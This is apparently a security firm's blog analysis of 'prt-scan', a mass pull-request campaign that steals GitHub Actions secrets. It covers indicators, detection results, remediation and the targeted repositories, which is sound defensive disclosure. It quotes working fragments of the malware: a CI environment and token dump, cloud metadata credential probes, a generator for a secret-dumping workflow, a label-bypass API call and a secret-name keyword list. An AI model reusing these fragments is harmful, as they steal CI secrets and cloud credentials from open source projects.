prt-scan: A 5-Phase GitHub Actions Credential Theft Campaign
Table of Contents
TL;DR
On April 3, 2026, a one-day-old GitHub account (ezmtebo) submitted 256+ pull requests across
open source repositories, each containing a multi-phase credential exfiltration payload. The attack
uses no external C2 infrastructure. It steals secrets through CI logs and PR comments, injects
temporary workflows to dump secret values, auto-applies labels to bypass pull_request_target
gates, and runs a background /proc scanner for 10 minutes after the main script exits. Five
distinct payload variants adapt to GitHub Actions, npm, and Python ecosystems.
High-profile targets include:
- AWS SageMaker Core (AWS ML infrastructure SDK)
- Palo Alto Networks pan.dev (cybersecurity vendor developer portal)
- Svelte (frontend framework, ~80k stars)
- SAP open-ux-tools (enterprise UI tooling)
- Red Hat Developer Hub (developer platform plugins)
Indicators of Compromise:
- GitHub account:
ezmtebo(UID 273211198), emailelzotebo+88@proton[.]me - Branch pattern:
prt-scan-<12-char-hex> - Commit message:
ci: update build configuration - Payload files:
.github/prt_exfil.sh, modifiedpackage.json(preinstall hooks),setup.py,conftest.py - Exfiltration markers in CI logs:
==PRT_EXFIL_START_<hex>==,==PRT_RECON_START_<hex>== - No external domains contacted. All exfil via GitHub API.
Analysis
The Account
The ezmtebo account was created on April 2, 2026, one day before the campaign launched. It has
46 public repositories, all forks, zero original content, zero followers. The commit email
([email protected]) uses Proton Mail plus-addressing, suggesting it is one instance of
a templated identity. The +88 suffix implies other suffixes exist or have existed.
This is not the actor’s first account. Pull requests from March 12, 2026 with the same
prt-scan-* branch pattern appear under the author ghost, GitHub’s placeholder for deleted
accounts. Two targets from that earlier wave: rkendel1/langextract and
lightspeed-core/lightspeed-stack. The tooling has been active for at least three weeks.
The Campaign
All 219+ PRs share identical metadata: the commit message ci: update build configuration, the
description Automated build configuration update., and a branch name matching
prt-scan-<12-char-hex>. Targets span every major language and vertical, from sveltejs/svelte
and SAP/open-ux-tools to single-developer hobby repos. This is spray-and-pray. The actor needs
just one repo with a pull_request_target workflow that checks out the PR head, or an auto-merge
bot that does not inspect the diff.
The Payload: Five Phases
The primary payload is .github/prt_exfil.sh, a 352-line bash script. We downloaded the
complete diff and verified every line.
It executes in five phases.
Phase 1: Environment dump. Four lines that run immediately:
# .github/prt_exfil.sh — lines 1-4#!/bin/bashecho "==PRT_EXFIL_START_71f961280e4f=="(env; echo "PRT_GIT_AUTH=$(git config --get-all http.https://github.com/.extraheader 2>/dev/null || true)") | gzip -c | base64echo "==PRT_EXFIL_END_71f961280e4f=="This dumps the complete runtime environment plus the git HTTP extraheader (which contains the
GITHUB_TOKEN as a base64 Basic auth credential) to the CI log, compressed and encoded between
unique markers for automated extraction.
Phase 2: API reconnaissance. Uses the extracted token to enumerate secrets, workflows, cloud metadata, and sensitive files:
# .github/prt_exfil.sh — lines 6-9 (token extraction)__PRT_TK=$(git config --get-all http.https://github.com/.extraheader 2>/dev/null \ | sed -n 's/.*basic //p' | base64 -d 2>/dev/null | cut -d: -f2)[ -z "$__PRT_TK" ] && __PRT_TK="${GITHUB_TOKEN}"With the token in hand, the script queries 15+ GitHub API endpoints: /actions/secrets,
/actions/organization-secrets, /environments, every workflow YAML (looking for secrets.XXX
references), token permission headers, repo metadata, OIDC tokens, and recent artifacts. It also
probes AWS, Azure, and GCP instance metadata endpoints at 169.254.169.254 and
metadata.google.internal. All output is gzip+base64 encoded with ##SECTION## delimiters:
# .github/prt_exfil.sh — cloud metadata probesecho "##CLOUD_AZURE##"curl -s -H "Metadata: true" --connect-timeout 2 \ "http://169.254.169.254/metadata/instance?api-version=2021-02-01" 2>/dev/nullecho "##CLOUD_AWS##"curl -s --connect-timeout 2 \ "http://169.254.169.254/latest/meta-data/iam/security-credentials/" 2>/dev/nullecho "##CLOUD_GCP##"curl -s -H "Metadata-Flavor: Google" --connect-timeout 2 \ "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" 2>/dev/nullPhase 3: Workflow injection. If the token has push permission, embedded Python creates a
temporary workflow (.github/workflows/.prt_tmp_<nonce>.yml) on the default branch. That workflow
maps every discovered secret name into its env: block and runs env | sort | gzip -c | base64.
Then the script dispatches it:
# Embedded in .github/prt_exfil.sh (Phase 3 Python)env_block = '\n'.join(f' {s}: ${{{{ secrets.{s} }}}}' for s in sorted(all_secrets))wf_yaml = f'''name: prt-tmp-{nonce}on: workflow_dispatchjobs: grab: runs-on: ubuntu-latest env:{env_block} steps: - name: run run: | echo "=={exfil_nonce}_START==" env | sort | gzip -c | base64 echo "=={exfil_nonce}_END=="'''This is the critical escalation: Phase 2 can only see secret names. Phase 3 exfiltrates the actual values of every secret in the repository.
Phase 4: Label bypass. A base64-encoded Python script parses all workflow YAMLs for
pull_request_target triggers gated by labels. It extracts the required label name (defaulting
to safe to test), creates the label via the API, and applies it to the attacker’s own PR.
This defeats what many projects consider their primary defense against malicious fork PRs:
# .github/prt_exfil.sh — label creation and applicationcurl -s -o /dev/null -w '%{http_code}' -X POST \ -H "Authorization: Bearer $__PRT_TK" \ "$__PRT_API/repos/$__PRT_R/labels" \ -d '{"name":"'"$__LBL_NAME"'","color":"0e8a16"}'Phase 5: /proc scanner daemon. The final payload is a base64-encoded Python script launched
as a background process (python3 &). It polls /proc/*/environ every 2 seconds for 10 minutes,
looking for new environment variables matching 22 high-value keywords:
# Decoded from base64 blob in .github/prt_exfil.sh (Phase 5)INTERESTING = [ "NETLIFY", "ALCHEMY", "INFURA", "STRIPE", "AWS_SECRET", "NPM_TOKEN", "DOCKER", "CLOUDFLARE", "DATABASE_URL", "PRIVATE_KEY", "SENTRY", "SENDGRID", "TWILIO", "PAYPAL", "OPENAI", "ANTHROPIC", "GEMINI", "DEEPSEEK", "COHERE", "MONGODB", "REDIS_URL", "SSH_PRIVATE",]When it finds something, it posts the data as a PR comment via the GitHub API, compressed and
wrapped in ==PRT_DELAYED_START_<nonce>== markers. This catches secrets injected by later CI
steps that were not present when the main script ran.
Four Payload Variants
The standalone shell script is the primary variant, but the actor adapts delivery per ecosystem:
| Variant | File | Trigger | Detection difficulty |
|---|---|---|---|
| Shell script | .github/prt_exfil.sh (352 lines) | Workflow execution | Low |
| Composite action | action.yml (35 lines, base64 blobs) | Action step | Medium |
| npm hooks | package.json (modified existing file) | npm install | High |
| Python setup.py | setup.py (single line) | pip install | Medium |
| pytest conftest | conftest.py (15 lines, double base64) | pytest (automatic) | High |
The npm variant (tus/tus-node-server #822)
does not add a new file. It replaces every npm script (build, lint, test) with a malicious
version that exfiltrates credentials, then appends the original command so builds appear to
work normally.
The pytest variant (aws/sagemaker-core #393)
is equally dangerous. It adds a conftest.py that pytest auto-loads before any test execution,
no explicit import needed. Phase 1 is pure Python, Phases 2-4 are a base64-encoded shell script
run via subprocess.run, and Phase 5 uses double base64 encoding: an outer blob decodes to
a shell command that decodes an inner blob and pipes it to python3 &. This is a new obfuscation
layer not seen in other variants. The target is an AWS ML infrastructure SDK, likely with AWS
credentials in CI.
The composite action variant
(likec4/likec4 #2835) embeds the entire payload as
base64 blobs inside a nested YAML file at
.github/workflows/.github/actions/bootstrap/action.yml, designed to look like legitimate
bootstrapping infrastructure.
No External C2
A notable design choice: no attacker-controlled server is ever contacted. All exfiltration happens through:
- CI build log stdout (gzip+base64 between markers)
- GitHub PR comments (via the API)
- Dispatched workflow run logs
This makes network-based detection impossible. All traffic goes to api.github.com or
link-local cloud metadata IPs.
Bot Detection Results
We examined automated review bot responses across multiple targeted repos:
| Bot | Detection |
|---|---|
| CodeRabbit | Flagged as critical across all variants tested |
| Sourcery AI | Flagged exfiltration + label bypass |
| Qodo | 3 critical blocking bugs, recommended incident response |
| gstraccini | Auto-approved the malicious PR |
| Codacy | Reported 0 issues |
The gstraccini auto-approval is the worst outcome: it assigned a reviewer, applied triage labels, and gave the PR a veneer of legitimacy. Codacy also missed it entirely. AI-powered review bots (CodeRabbit, Sourcery, Qodo) caught it consistently, which is encouraging, but relying on them as the sole gate is not sufficient.
What to Do
If your repo received a PR from ezmtebo or a branch matching prt-scan-*:
- Close the PR immediately without running CI
- Check workflow run logs for
PRT_EXFIL_STARTorPRT_RECON_STARTmarkers. If present, assume all CI secrets are compromised and rotate them - Search your default branch for
.prt_tmp_*.ymlfiles (Phase 3 workflow injection) - Audit
pull_request_targetworkflows to ensure they do not checkout PR head code - Report the account to GitHub Trust & Safety
The broader pattern is clear: pull_request_target with head checkout remains the most exploited
misconfiguration in GitHub Actions. Label gating is not a sufficient defense when the attacker’s
token can create and apply labels. The safest configuration runs fork PR workflows in a restricted
context with no secrets access, using a separate privileged workflow triggered by maintainer
approval for anything that needs credentials.
Appendix: Targeted Repositories
The campaign submitted 256 PRs as of investigation time. Below is a sample of confirmed
targets, prioritized by organizational profile. All PRs use the same commit message
(ci: update build configuration) and branch pattern (prt-scan-<hex>).
Enterprise and Major Organizations
| Repository | PR | Status | Domain |
|---|---|---|---|
| aws/sagemaker-core | #393 | Open | AWS ML infrastructure |
| PaloAltoNetworks/pan.dev | #1169 | Open | Cybersecurity vendor |
| SAP/open-ux-tools | #4516 | Open | Enterprise UI tooling |
| SAP-samples/btp-cap-multitenant-saas | #180 | Open | SAP cloud platform |
| redhat-developer/rhdh-plugins | #2698 | Open | Red Hat Developer Hub |
| ydb-platform/nbs | #5666 | Open | YDB cloud storage |
| navikt/aktivitet-arena-acl | #153 | Closed | Norwegian gov (NAV) |
Major Open Source Projects
| Repository | PR | Status | Domain |
|---|---|---|---|
| sveltejs/svelte | #18057 | Closed | Frontend framework (~80k stars) |
| zephyrproject-rtos/sdk-ng | #1129 | Closed | Embedded RTOS framework |
| capstone-engine/llvm-capstone | #90 | Closed | Disassembly framework |
| jhipster/generator-jhipster-react-native | #2477 | Closed | App generator |
| RSS-Bridge/rss-bridge | #4952 | Closed | RSS feed tool |
| flairNLP/fundus | #900 | Open | NLP data extraction |
| tus/tus-node-server | #822 | Closed | Upload protocol reference impl |
| yiisoft/demo-diary | #63 | Closed | Yii framework demo |
Infrastructure and Security Tools
| Repository | PR | Status | Domain |
|---|---|---|---|
| shellhub-io/shellhub | #6114 | Open | Remote access platform |
| ansible-lockdown/Windows-Test | #23 | Closed | Security hardening |
| drk1wi/Modlishka | #360 | Closed | Reverse proxy tool |
| supernetes/supernetes | #144 | Open | Kubernetes tooling |
| kitspace/kitspace-v2 | #786 | Closed | Hardware design sharing |
Payment and Financial
| Repository | PR | Status | Domain |
|---|---|---|---|
| guibranco/pagarme-sdk-dotnet | #153 | Closed | Payment gateway SDK |
| adyen-examples/adyen-magento2-hyva | #142 | Closed | Payment integration |
Other Notable Targets
| Repository | PR | Status | Domain |
|---|---|---|---|
| likec4/likec4 | #2835 | Open | Architecture diagramming |
| darlal/obsidian-switcher-plus | #236 | Open | Obsidian plugin |
| Wynntils/Wynntils | #3851 | Closed | Minecraft game mod |
| meatpiHQ/wican-fw | #731 | Open | IoT car WiFi adapter |
| ChainFuse/packages | #920 | Open | Blockchain packages |
| Redback-Operations/redback-senior-tech | #151 | Open | IoT operations |
| athenianco/athenian-api | #3679 | Open | Engineering analytics |
| StatFunGen/colocboost | #135 | Open | Bioinformatics |
| osodevops/aws-terraform-module-cardano-stake-pool | #6 | Open | Cardano/crypto infra |
| OpenBioCard/OpenBioCard | #8 | Open | Bio data smart card |
Total confirmed: 256 PRs across 26 pages of search results. This table is a representative
sample. The full list can be retrieved via
https://github.com/search?q=author%3Aezmtebo+is%3Apr&type=pullrequests.
CI Execution Analysis
None of the 256 PRs were merged. However, CI workflows did execute on several repos via
pull_request_target triggers. We investigated the four highest-risk cases in detail.
Confirmed Compromised: darlal/obsidian-switcher-plus
PR #236 used the npm hook
poisoning variant (Variant 3), modifying package.json to prepend malicious code to every
npm script. The repo’s test.yml workflow uses pull_request_target and explicitly checks
out the PR head SHA:
ref: | ${{ github.event.pull_request.head.sha || github.ref }}The workflow then ran npm ci (triggering the preinstall hook), npm run lint,
npm run bundle, npm run package-plugin, and npm run test, all against the attacker’s
poisoned package.json. The build succeeded with 99.86% test coverage, confirming the
legitimate code ran after the malicious prefixes executed. The coverage diff action also ran
npm ci a second time via afterSwitchCommand.
Secrets available during execution: GITHUB_TOKEN, DIFF_ACTION_TOKEN (a PAT).
A community member (apstygo)
flagged the PR as suspicious, and the maintainer closed it.
No PRT_DELAYED_START markers were found in PR comments, which may indicate the PR
comment-based exfiltration channel failed (insufficient pull-requests: write scope) or
the attacker retrieved data from CI logs directly via the PRT_EXFIL_START / PRT_RECON_START
markers in build output.
- supply-chain-security
- github-actions
- ci-cd-security
- malware
- credential-theft
- incident-response
Author
SafeDep Team
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering
Official jscrambler npm Package Compromised Across Multiple Releases
The official jscrambler npm package (60K monthly downloads) was trojanized starting at 8.14.0 through an npm account or CI compromise. The attacker republished the same Rust infostealer across five...
@marketfront: 25 npm Packages Reuse a Known Lure
On July 1, 2026, npm user marketfront batch-published 25 packages carrying the same README lure SafeDep has tracked across four earlier accounts (mr.4nd3r50n, pik-libs, t-in-one, emcd-vue): "Internal...
nodemon-sudo: an npm Backdoor With No Install Script
nodemon-sudo copies the real nodemon byte for byte, adds nothing malicious to its own code, and injects one extra dependency, tslint-conf, a repackaged pino logger carrying a backdoor. There is no...
The Polymarket Trap: A Fake Arbitrage Bot, Ten npm Accounts, and Four Ways to Deliver an Infostealer
A GitHub repository posing as a Polymarket arbitrage bot accumulated 53 forks before anyone flagged the malicious npm package buried in its dependencies. Behind that repo: ten coordinated npm...
Ship Code.
Not Malware.
Start free with open source tools on your machine. Scale to a unified platform for your organization.